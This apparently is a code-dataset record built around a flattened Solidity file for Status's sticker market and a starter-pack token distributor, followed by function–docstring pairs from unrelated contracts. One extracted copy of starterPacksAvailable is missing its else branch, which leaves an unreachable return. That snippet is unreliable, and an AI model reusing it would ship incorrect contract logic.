function transfer(address _to, uint256 _value) external returns (bool success);
/**
* @notice `msg.sender` approves `_spender` to spend `_value` tokens
* @param _spender The address of the account able to transfer the tokens
* @param _value The amount of tokens to be approved for transfer
* @return success Whether the approval was successful or not
*/
function approve(address _spender, uint256 _value) external returns (bool success);
/**
* @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount of token to be transferred
* @return success Whether the transfer was successful or not
*/
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
/**
* @param _owner The address from which the balance will be retrieved
* @return balance The balance
*/
function balanceOf(address _owner) external view returns (uint256 balance);
/**
* @param _owner The address of the account owning tokens
* @param _spender The address of the account able to transfer the tokens
* @return remaining Amount of remaining tokens allowed to spent
*/
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
/**
* @notice return total supply of tokens
*/
function totalSupply() external view returns (uint256 supply);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ReentrancyGuard {
bool internal reentranceLock = false;
/**
* @dev Use this modifier on functions susceptible to reentrancy attacks
*/
modifier reentrancyGuard() {
require(!reentranceLock, "Reentrant call detected!");
reentranceLock = true; // No no no, you naughty naughty!
_;
reentranceLock = false;
}
}
pragma experimental ABIEncoderV2;
/**
* @author Ricardo Guilherme Schmidt (Status Research & Development GmbH)
* @notice interface for StickerMarket
*/
interface StickerMarket {
event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount);
event MarketState(State state);
event RegisterFee(uint256 value);
event BurnRate(uint256 value);
enum State { Invalid, Open, BuyOnly, Controlled, Closed }
function state() external view returns(State);
function snt() external view returns (address);
function stickerPack() external view returns (address);
function stickerType() external view returns (address);
/**
* @dev Mints NFT StickerPack in `_destination` account, and Transfers SNT using user allowance
* emit NonfungibleToken.Transfer(`address(0)`, `_destination`, `tokenId`)
* @notice buy a pack from market pack owner, including a StickerPack's token in `_destination` account with same metadata of `_packId`
* @param _packId id of market pack
* @param _destination owner of token being brought
* @param _price agreed price
* @return tokenId generated StickerPack token
*/
function buyToken(
uint256 _packId,
address _destination,
uint256 _price
)
external
returns (uint256 tokenId);
/**
* @dev emits StickerMarket.Register(`packId`, `_urlHash`, `_price`, `_contenthash`)
* @notice Registers to sell a sticker pack
* @param _price cost in wei to users minting this pack
* @param _donate value between 0-10000 representing percentage of `_price` that is donated to StickerMarket at every buy
* @param _category listing category
* @param _owner address of the beneficiary of buys
* @param _contenthash EIP1577 pack contenthash for listings
* @param _fee Fee msg.sender agrees to pay for this registration
* @return packId Market position of Sticker Pack data.
*/
function registerPack(
uint256 _price,
uint256 _donate,
bytes4[] calldata _category,
address _owner,
bytes calldata _contenthash,
uint256 _fee
)
external
returns(uint256 packId);
}
/**
* @dev ERC-721 non-fungible token standard.
* See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md.
*/
interface ERC721
{
/**
* @dev Emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are
* created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any
* number of NFTs may be created and assigned without emitting Transfer. At the time of any
* transfer, the approved address for that NFT (if any) is reset to none.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed value
);
/**
* @dev This emits when the approved address for an NFT is changed or reaffirmed. The zero
* address indicates there is no approved address. When a Transfer event emits, this also
* indicates that the approved address for that NFT (if any) is reset to none.
*/
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
/**
* @dev This emits when an operator is enabled or disabled for an owner. The operator can manage
* all NFTs of the owner.
*/
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
/**
* @dev Transfers the ownership of an NFT from one address to another address.
* @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the
* approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is
* the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this
* function checks if `_to` is a smart contract (code size > 0). If so, it calls
* `onERC721Received` on `_to` and throws if the return value is not
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
* @param _data Additional data with no specified format, sent in call to `_to`.
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes calldata _data
)
external;
/**
* @dev Transfers the ownership of an NFT from one address to another address.
* @notice This works identically to the other function with an extra data parameter, except this
* function just sets data to ""
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
external;
/**
* @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
* address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero
* address. Throws if `_tokenId` is not a valid NFT.
* @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else
* they mayb be permanently lost.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external;
/**
* @dev Set or reaffirm the approved address for an NFT.
* @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is
* the current NFT owner, or an authorized operator of the current owner.
* @param _approved The new approved NFT controller.
* @param _tokenId The NFT to approve.
*/
function approve(
address _approved,
uint256 _tokenId
)
external;
/**
* @dev Enables or disables approval for a third party ("operator") to manage all of
* `msg.sender`'s assets. It also emits the ApprovalForAll event.
* @notice The contract MUST allow multiple operators per owner.
* @param _operator Address to add to the set of authorized operators.
* @param _approved True if the operators is approved, false to revoke approval.
*/
function setApprovalForAll(
address _operator,
bool _approved
)
external;
/**
* @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are
* considered invalid, and this function throws for queries about the zero address.
* @param _owner Address for whom to query the balance.
* @return Balance of _owner.
*/
function balanceOf(
address _owner
)
external
view
returns (uint256);
/**
* @dev Returns the address of the owner of the NFT. NFTs assigned to zero address are considered
* invalid, and queries about them do throw.
* @param _tokenId The identifier for an NFT.
* @return Address of _tokenId owner.
*/
function ownerOf(
uint256 _tokenId
)
external
view
returns (address);
/**
* @dev Get the approved address for a single NFT.
* @notice Throws if `_tokenId` is not a valid NFT.
* @param _tokenId The NFT to find the approved address for.
* @return Address that _tokenId is approved for.
*/
function getApproved(
uint256 _tokenId
)
external
view
returns (address);
/**
* @dev Returns true if `_operator` is an approved operator for `_owner`, false otherwise.
* @param _owner The address that owns the NFTs.
* @param _operator The address that acts on behalf of the owner.
* @return True if approved for all, false otherwise.
*/
function isApprovedForAll(
address _owner,
address _operator
)
external
view
returns (bool);
}
/**
* @dev Optional enumeration extension for ERC-721 non-fungible token standard.
* See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md.
*/
interface ERC721Enumerable
{
/**
* @dev Returns a count of valid NFTs tracked by this contract, where each one of them has an
* assigned and queryable owner not equal to the zero address.
* @return Total supply of NFTs.
*/
function totalSupply()
external
view
returns (uint256);
/**
* @dev Returns the token identifier for the `_index`th NFT. Sort order is not specified.
* @param _index A counter less than `totalSupply()`.
* @return Token id.
*/
function tokenByIndex(
uint256 _index
)
external
view
returns (uint256);
/**
* @dev Returns the token identifier for the `_index`th NFT assigned to `_owner`. Sort order is
* not specified. It throws if `_index` >= `balanceOf(_owner)` or if `_owner` is the zero address,
* representing invalid NFTs.
* @param _owner An address where we are interested in NFTs owned by them.
* @param _index A counter less than `balanceOf(_owner)`.
* @return Token id.
*/
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
external
view
returns (uint256);
}
/**
* @author Ricardo Guilherme Schmidt (Status Research & Development GmbH)
* @notice interface for StickerType
*/
/* interface */ abstract contract StickerType is ERC721, ERC721Enumerable { // Interfaces can't inherit
/**
* @notice controller can generate packs at will
* @param _price cost in wei to users minting with _urlHash metadata
* @param _donate optional amount of `_price` that is donated to StickerMarket at every buy
* @param _category listing category
* @param _owner address of the beneficiary of buys
* @param _contenthash EIP1577 pack contenthash for listings
* @return packId Market position of Sticker Pack data.
*/
function generatePack(
uint256 _price,
uint256 _donate,
bytes4[] calldata _category,
address _owner,
bytes calldata _contenthash
)
external
virtual
returns(uint256 packId);
/**
* @notice removes all market data about a marketed pack, can only be called by market controller
* @param _packId position to be deleted
* @param _limit limit of categories to cleanup
*/
function purgePack(uint256 _packId, uint256 _limit)
external
virtual;
/**
* @notice changes contenthash of `_packId`, can only be called by controller
* @param _packId which market position is being altered
* @param _contenthash new contenthash
*/
function setPackContenthash(uint256 _packId, bytes calldata _contenthash)
external
virtual;
/**
* @notice This method can be used by the controller to extract mistakenly
* sent tokens to this contract.
* @param _token The address of the token contract that you want to recover
* set to 0 in case you want to extract ether.
*/
function claimTokens(address _token)
external
virtual;
/**
* @notice changes price of `_packId`, can only be called when market is open
* @param _packId pack id changing price settings
* @param _price cost in wei to users minting this pack
* @param _donate value between 0-10000 representing percentage of `_price` that is donated to StickerMarket at every buy
*/
function setPackPrice(uint256 _packId, uint256 _price, uint256 _donate)
external
virtual;
/**
* @notice add caregory in `_packId`, can only be called when market is open
* @param _packId pack adding category
* @param _category category to list
*/
function addPackCategory(uint256 _packId, bytes4 _category)
external
virtual;
/**
* @notice remove caregory in `_packId`, can only be called when market is open
* @param _packId pack removing category
* @param _category category to unlist
*/
function removePackCategory(uint256 _packId, bytes4 _category)
external
virtual;
/**
* @notice Changes if pack is enabled for sell
* @param _packId position edit
* @param _mintable true to enable sell
*/
function setPackState(uint256 _packId, bool _mintable)
external
virtual;
/**
* @notice read available market ids in a category (might be slow)
* @param _category listing category
* @return availableIds array of market id registered
*/
function getAvailablePacks(bytes4 _category)
external
virtual
view
returns (uint256[] memory availableIds);
/**
* @notice count total packs in a category
* @param _category listing category
* @return size total number of packs in category
*/
function getCategoryLength(bytes4 _category)
external
virtual
view
returns (uint256 size);
/**
* @notice read a packId in the category list at a specific index
* @param _category listing category
* @param _index index
* @return packId on index
*/
function getCategoryPack(bytes4 _category, uint256 _index)
external
virtual
view
returns (uint256 packId);
/**
* @notice returns all data from pack in market
* @param _packId pack id being queried
* @return category list of categories registered to this packType
* @return owner authorship holder
* @return mintable new pack can be generated (rare tool)
* @return timestamp registration timestamp
* @return price current price
* @return contenthash EIP1577 encoded hash
*/
function getPackData(uint256 _packId)
external
virtual
view
returns (
bytes4[] memory category,
address owner,
bool mintable,
uint256 timestamp,
uint256 price,
bytes memory contenthash
);
/**
* @notice returns all data from pack in market
* @param _packId pack id being queried
* @return category list of categories registered to this packType
* @return timestamp registration timestamp
* @return contenthash EIP1577 encoded hash
*/
function getPackSummary(uint256 _packId)
external
virtual
view
returns (
bytes4[] memory category,
uint256 timestamp,
bytes memory contenthash
);
/**
* @notice returns payment data for migrated contract
* @param _packId pack id being queried
* @return owner authorship holder
* @return mintable new pack can be generated (rare tool)
* @return price current price
* @return donate informational value between 0-10000 representing percentage of `price` that is donated to StickerMarket at every buy
*/
function getPaymentData(uint256 _packId)
external
virtual
view
returns (
address owner,
bool mintable,
uint256 price,
uint256 donate
);
}
/**
* @title SafeERC20
* @dev Adapted from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/SafeERC20.sol
* and https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol
*/
contract SafeTransfer {
function _safeTransfer(ERC20Token token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function _safeTransferFrom(ERC20Token token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(ERC20Token token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(_isContract(address(token)), "SafeTransfer: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeTransfer: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeTransfer: ERC20 operation did not succeed");
}
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function _isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
}
/**
* @author Ricardo Guilherme Schmidt (Status Research & Development GmbH)
* @notice Owner's backdoor withdrawal logic, used for code reuse.
*/
contract TokenWithdrawer is SafeTransfer {
/**
* @dev Withdraw all balance of each `_tokens` into `_destination`.
* @param _tokens address of ERC20 token, or zero for withdrawing ETH.
* @param _destination receiver of token
*/
function withdrawTokens(
address[] memory _tokens,
address payable _destination
)
internal
{
uint len = _tokens.length;
for(uint i = 0; i < len; i++){
withdrawToken(_tokens[i], _destination);
}
}
/**
* @dev Withdraw all balance of `_token` into `_destination`.
* @param _token address of ERC20 token, or zero for withdrawing ETH.
* @param _destination receiver of token
*/
function withdrawToken(address _token, address payable _destination)
internal
{
uint256 balance;
if (_token == address(0)) {
balance = address(this).balance;
(bool success, ) = _destination.call.value(balance)("");
require(success, "Transfer failed");
} else {
ERC20Token token = ERC20Token(_token);
balance = token.balanceOf(address(this));
_safeTransfer(token, _destination, balance);
}
}
}
/// @title Starterpack Distributor
/// @notice Attempts to deliver 1 and only 1 starterpack containing ETH, ERC20 Tokens and NFT Stickerpacks to an eligible recipient
/// @dev The contract assumes Signer has verified an In-App Purchase Receipt
contract SimplifiedDistributor is SafeTransfer, ReentrancyGuard, TokenWithdrawer {
address payable public owner; // Contract deployer can modify parameters
address public signer; // Signer can only distribute Starterpacks
// Defines the Starterpack parameters
struct Pack {
uint256 ethAmount; // The Amount of ETH to transfer to the recipient
address[] tokens; // Array of ERC20 Contract Addresses
uint256[] tokenAmounts; // Array of ERC20 amounts corresponding to cells in tokens[]
}
Pack public defaultPack;
ERC20Token public sntToken;
bool public pause = true;
event RequireApproval(address attribution);
mapping(address => uint) public maxPacksPerAttrAddress;
uint public defaultMaxPacksForReferrals;
mapping(address => uint) public packsPerAttrAddress;
mapping(address => uint) public pendingAttributionCnt;
mapping(address => uint) public attributionCnt;
uint public totalPendingAttributions;
struct Attribution {
bool enabled;
uint256 ethAmount; // The Amount of ETH to transfer to the referrer
address[] tokens; // Array of ERC20 Contract Addresses
uint256[] tokenAmounts; // Array of ERC20 amounts corresponding to cells in tokens[]
uint limit;
}
mapping(address => Attribution) defaultAttributionSettings;
mapping(address => Attribution) promoAttributionSettings;
// Modifiers --------------------------------------------------------------------------------------------
// Functions only Owner can call
modifier onlyOwner {
require(msg.sender == owner, "Unauthorized");
_;
}
// Logic ------------------------------------------------------------------------------------------------
/// @notice Check if an address is eligible for a starterpack
/// @dev will return false if a transaction of distributePack for _recipient has been successfully executed
/// RETURNING TRUE BECAUSE ELIGIBILITY WILL BE HANDLED BY THE BACKEND
/// @param _recipient The address to be checked for eligibility
function eligible(address _recipient) public view returns (bool){
return true;
}
/// @notice Get the starter pack configuration
/// @return stickerMarket address Stickermarket contract address
/// @return ethAmount uint256 ETH amount in wei that will be sent to a recipient
/// @return tokens address[] List of tokens that will be sent to a recipient
/// @return tokenAmounts uint[] Amount of tokens that will be sent to a recipient
/// @return stickerPackIds uint[] List of sticker packs to send to a recipient
function getDefaultPack() external view returns(address stickerMarket, uint256 ethAmount, address[] memory tokens, uint[] memory tokenAmounts, uint[] memory stickerPackIds) {
ethAmount = defaultPack.ethAmount;
tokens = defaultPack.tokens;
tokenAmounts = defaultPack.tokenAmounts;
}
/// @notice Get the promo pack configuration
/// @return stickerMarket address Stickermarket contract address
/// @return ethAmount uint256 ETH amount in wei that will be sent to a recipient
/// @return tokens address[] List of tokens that will be sent to a recipient
/// @return tokenAmounts uint[] Amount of tokens that will be sent to a recipient
/// @return stickerPackIds uint[] List of sticker packs to send to a recipient
/// @return available uint number of promo packs available
function getPromoPack() external view returns(address stickerMarket, uint256 ethAmount, address[] memory tokens, uint[] memory tokenAmounts, uint[] memory stickerPackIds, uint256 available) {
// Removed the promo pack functionality, so returning default values (to not affect the ABI)
}
event Distributed(address indexed recipient, address indexed attribution);
event AttributionReedeemed(address indexed recipient, uint qty);
/// @notice Determines if there are starterpacks available for distribution
/// @param _assignedTo: Address who refered the starterpack recipient. Use 0x0 when there is no _attribution address
function starterPacksAvailable(address _assignedTo) public view returns(bool) {
Attribution memory attr = defaultAttributionSettings[_assignedTo];
if (!attr.enabled) {
return packsPerAttrAddress[_assignedTo] < defaultMaxPacksForReferrals;
} else {
return packsPerAttrAddress[_assignedTo] < maxPacksPerAttrAddress[_assignedTo];
}
}
/// @notice Distributes a starterpack to an eligible address. Either a promo pack or a default will be distributed depending on availability
/// @dev Can only be called by signer, assumes signer has validated an IAP receipt, owner can block calling by pausing.
/// @param _recipient A payable address that is sent a starterpack after being checked for eligibility
/// @param _attribution A payable address who referred the starterpack purchaser
function distributePack(address payable _recipient, address payable _attribution) external reentrancyGuard {
require(!pause, "Paused");
require(msg.sender == signer, "Unauthorized");
require(_recipient != _attribution, "Recipient should be different from Attribution address");
Pack memory pack = defaultPack;
// Transfer Tokens
// Iterate over tokens[] and transfer the an amount corresponding to the i cell in tokenAmounts[]
for (uint256 i = 0; i < pack.tokens.length; i++) {
ERC20Token token = ERC20Token(pack.tokens[i]);
uint256 amount = pack.tokenAmounts[i];
require(token.transfer(_recipient, amount), "ERC20 operation did not succeed");
}
// Transfer ETH
// .transfer bad post Istanbul fork :|
(bool success, ) = _recipient.call.value(pack.ethAmount)("");
require(success, "ETH Transfer failed");
emit Distributed(_recipient, _attribution);
if (_attribution == address(0)) {
require(packsPerAttrAddress[address(0)] < maxPacksPerAttrAddress[address(0)], "No starter packs available");
packsPerAttrAddress[address(0)]++;
return;
}
Attribution memory attr = defaultAttributionSettings[_attribution];
if (!attr.enabled) {
require(packsPerAttrAddress[_attribution] < defaultMaxPacksForReferrals, "No starter packs available");
} else {
require(packsPerAttrAddress[_attribution] < maxPacksPerAttrAddress[_attribution], "No starter packs available");
}
pendingAttributionCnt[_attribution] += 1;
totalPendingAttributions += 1;
packsPerAttrAddress[_attribution]++;
}
function withdrawAttributions() external {
require(!pause, "Paused");
uint pendingAttributions = pendingAttributionCnt[msg.sender];
uint attributionsPaid = attributionCnt[msg.sender];
if (pendingAttributions == 0) return;
Attribution memory attr = defaultAttributionSettings[msg.sender];
if (!attr.enabled) {
attr = defaultAttributionSettings[address(0)];
}
uint totalETHToPay;
uint totalSNTToPay;
uint attributionsToPay;
if((attributionsPaid + pendingAttributions) > attr.limit){
emit RequireApproval(msg.sender);
if(attributionsPaid < attr.limit){
attributionsToPay = attr.limit - attributionsPaid;
} else {
attributionsToPay = 0;
}
attributionsPaid += attributionsToPay;
pendingAttributions -= attributionsToPay;
} else {
attributionsToPay = pendingAttributions;
attributionsPaid += attributionsToPay;
pendingAttributions = 0;
}
emit AttributionReedeemed(msg.sender, attributionsToPay);
totalPendingAttributions -= attributionsToPay;
totalETHToPay += attributionsToPay * attr.ethAmount;
for (uint256 i = 0; i < attr.tokens.length; i++) {
if(attr.tokens[i] == address(sntToken)){
totalSNTToPay += attributionsToPay * attr.tokenAmounts[i];
} else {
ERC20Token token = ERC20Token(attr.tokens[i]);
uint256 amount = attributionsToPay * attr.tokenAmounts[i];
_safeTransfer(token, msg.sender, amount);
}
}
pendingAttributionCnt[msg.sender] = pendingAttributions;
attributionCnt[msg.sender] = attributionsPaid;
if (totalETHToPay != 0){
(bool success, ) = msg.sender.call.value(totalETHToPay)("");
require(success, "ETH Transfer failed");
}
if (totalSNTToPay != 0){
ERC20Token token = ERC20Token(sntToken);
_safeTransfer(token, msg.sender, totalSNTToPay);
}
}
/// @notice Get rewards for specific referrer
/// @param _account The address to obtain the attribution config
/// @param _isPromo Indicates if the configuration for a promo should be returned or not
/// @return ethAmount Amount of ETH in wei
/// @return tokenLen Number of tokens configured as part of the reward
/// @return maxThreshold If isPromo == true: Number of promo bonuses still available for that address else: Max number of attributions to pay before requiring approval
/// @return attribCount Number of referrals
function getReferralReward(address _account, bool _isPromo) public view returns (uint ethAmount, uint tokenLen, uint maxThreshold, uint attribCount) {
require(_isPromo != true);
Attribution memory attr = defaultAttributionSettings[_account];
if (!attr.enabled) {
attr = defaultAttributionSettings[address(0)];
}
ethAmount = attr.ethAmount;
maxThreshold = attr.limit;
attribCount = attributionCnt[_account];
tokenLen = attr.tokens.length;
}
/// @notice Get token rewards for specific address
/// @param _account The address to obtain the attribution's token config
/// @param _isPromo Indicates if the configuration for a promo should be returned or not
/// @param _idx Index of token array in the attribution used to obtain the token config
/// @return token ERC20 contract address
/// @return tokenAmount Amount of token configured in the attribution
function getReferralRewardTokens(address _account, bool _isPromo, uint _idx) public view returns (address token, uint tokenAmount) {
require(_isPromo != true);
Attribution memory attr = defaultAttributionSettings[_account];
if (!attr.enabled) {
attr = defaultAttributionSettings[address(0)];
}
token = attr.tokens[_idx];
tokenAmount = attr.tokenAmounts[_idx];
}
fallback() external payable {
// ...
}
// Admin ------------------------------------------------------------------------------------------------
/// @notice Allows the Owner to allow or prohibit Signer from calling distributePack().
/// @dev setPause must be called before Signer can call distributePack()
function setPause(bool _pause) external onlyOwner {
pause = _pause;
}
/// @notice Set a starter pack configuration
/// @dev The Owner can change the default starterpack contents
/// @param _newPack starter pack configuration
/// @param _maxPacks Maximum number of starterpacks that can be distributed when no attribution address is used
function changeStarterPack(Pack memory _newPack, uint _maxPacks, uint _defaultMaxPacksForReferrals) public onlyOwner {
require(_newPack.tokens.length == _newPack.tokenAmounts.length, "Mismatch with Tokens & Amounts");
for (uint256 i = 0; i < _newPack.tokens.length; i++) {
require(_newPack.tokenAmounts[i] > 0, "Amounts must be non-zero");
}
maxPacksPerAttrAddress[address(0x0000000000000000000000000000000000000000)] = _maxPacks;
defaultMaxPacksForReferrals = _defaultMaxPacksForReferrals;
defaultPack = _newPack;
}
/// @notice Safety function allowing the owner to immediately pause starterpack distribution and withdraw all balances in the the contract
function withdraw(address[] calldata _tokens) external onlyOwner {
pause = true;
withdrawTokens(_tokens, owner);
}
/// @notice Changes the Signer of the contract
/// @param _newSigner The new Signer of the contract
function changeSigner(address _newSigner) public onlyOwner {
require(_newSigner != address(0), "zero_address not allowed");
signer = _newSigner;
}
/// @notice Changes the owner of the contract
/// @param _newOwner The new owner of the contract
function changeOwner(address payable _newOwner) external onlyOwner {
require(_newOwner != address(0), "zero_address not allowed");
owner = _newOwner;
}
/// @notice Set default/custom payout and threshold for referrals
/// @param _ethAmount Payout for referrals
/// @param _thresholds Max number of referrals allowed beforee requiring approval
/// @param _assignedTo Use a valid address here to set custom settings. To set the default payout and threshold, use address(0);
/// @param _maxPacks Maximum number of starterpacks that can be distributed for the addresses in _assignedTo
function setPayoutAndThreshold(
uint256 _ethAmount,
address[] calldata _tokens,
uint256[] calldata _tokenAmounts,
uint256[] calldata _thresholds,
address[] calldata _assignedTo,
uint[] calldata _maxPacks
) external onlyOwner {
require(_thresholds.length == _assignedTo.length, "Array length mismatch");
require(_thresholds.length == _maxPacks.length, "Array length mismatch");
require(_tokens.length == _tokenAmounts.length, "Array length mismatch");
for (uint256 i = 0; i < _thresholds.length; i++) {
bool enabled = _assignedTo[i] != address(0);
Attribution memory attr = Attribution({
enabled: enabled,
ethAmount: _ethAmount,
limit: _thresholds[i],
tokens: _tokens,
tokenAmounts: _tokenAmounts
});
maxPacksPerAttrAddress[_assignedTo[i]] = _maxPacks[i];
defaultAttributionSettings[_assignedTo[i]] = attr;
}
}
/// @notice Remove attribution configuration for addresses
/// @param _assignedTo Array of addresses with an attribution configured
/// @param _isPromo Indicates if the configuration to delete is the promo or default
function removePayoutAndThreshold(address[] calldata _assignedTo, bool _isPromo) external onlyOwner {
for (uint256 i = 0; i < _assignedTo.length; i++) {
delete defaultAttributionSettings[_assignedTo[i]];
}
}
/// @notice Resets the counter of starterpacks distributed per address
/// @param _assignedTo Array of addresses with an attribution configured or 0x0 if not using attribution
function resetPackCounter(address[] calldata _assignedTo) external onlyOwner {
for (uint256 i = 0; i < _assignedTo.length; i++) {
delete packsPerAttrAddress[_assignedTo[i]];
}
}
/// @notice Set SNT address
/// @param _sntToken SNT token address
function setSntToken(address _sntToken) external onlyOwner {
sntToken = ERC20Token(_sntToken);
}
/// @notice Set Default Max Packs to distribute for referral addresses. This will be used when there is an attribution address in distribute pack, and the default attribution is used because a specific payout threshold has not been set for an address
/// @param _maxPacks Max number of starterpacks to be distributed when there is an attribution address and a specific payout threshold has not been set
function setDefaultMaxPacksForReferrals(uint _maxPacks) external onlyOwner {
defaultMaxPacksForReferrals = _maxPacks;
}
/// @notice Set max packs to distribute for an specific referral address. This will override the limit set via setPayoutAndThreshold
/// @param _assignedTo Referral address. Use 0x0 for when no attribution address is used
/// @param _maxPacks Max number of starterpacks to be distributed by an address
function setMaxPacksForReferrals(address _assignedTo, uint _maxPacks) external onlyOwner {
maxPacksPerAttrAddress[_assignedTo] = _maxPacks;
}
/// @notice Set Default Max Packs to distribute when no attribution address is used
/// @param _maxPacks Max number of starterpacks to be distributed when no attribution address is used
function setDefaultMaxPacksForNonReferrals(uint _maxPacks) external onlyOwner {
maxPacksPerAttrAddress[address(0)] = _maxPacks;
}
/// @param _signer allows the contract deployer(owner) to define the signer on construction
/// @param _sntToken SNT token address
constructor(address _signer, address _sntToken) public {
require(_signer != address(0), "zero_address not allowed");
owner = msg.sender;
signer = _signer;
sntToken = ERC20Token(_sntToken);
}
}
|
Determines if there are starterpacks available for distribution _assignedTo: Address who refered the starterpack recipient. Use 0x0 when there is no _attribution address
|
function starterPacksAvailable(address _assignedTo) public view returns(bool) {
Attribution memory attr = defaultAttributionSettings[_assignedTo];
if (!attr.enabled) {
return packsPerAttrAddress[_assignedTo] < defaultMaxPacksForReferrals;
return packsPerAttrAddress[_assignedTo] < maxPacksPerAttrAddress[_assignedTo];
}
}
| 10,434,319 |
./full_match/77/0xFAD08dB559EB7D84AD58C9dfDe1A8fC8Acb33f65/sources/contracts/rollup/facets/AbsRollupUserFacet.sol
|
Move stake onto an existing node nodeNum Inbox of the node to move stake to. This must by a child of the node the staker is currently staked on nodeHash Node hash of nodeNum (protects against reorgs)/
|
function stakeOnExistingNode(uint256 nodeNum, bytes32 nodeHash)
external
onlyValidator
whenNotPaused
{
require(isStaked(msg.sender), "NOT_STAKED");
require(getNodeHash(nodeNum) == nodeHash, "NODE_REORG");
require(nodeNum >= firstUnresolvedNode() && nodeNum <= latestNodeCreated());
INode node = getNode(nodeNum);
require(latestStakedNode(msg.sender) == node.prev(), "NOT_STAKED_PREV");
stakeOnNode(msg.sender, nodeNum, confirmPeriodBlocks);
}
| 5,047,648 |
./full_match/80001/0x388321B82Da290BA5BAaA0AD3D2be96c6e31d83E/sources/src/EthroneContract.sol
|
The address of the current owner/
|
function currentOwner() public view returns (address) {
return currentThroneOwner.user;
}
| 863,208 |
pragma solidity 0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
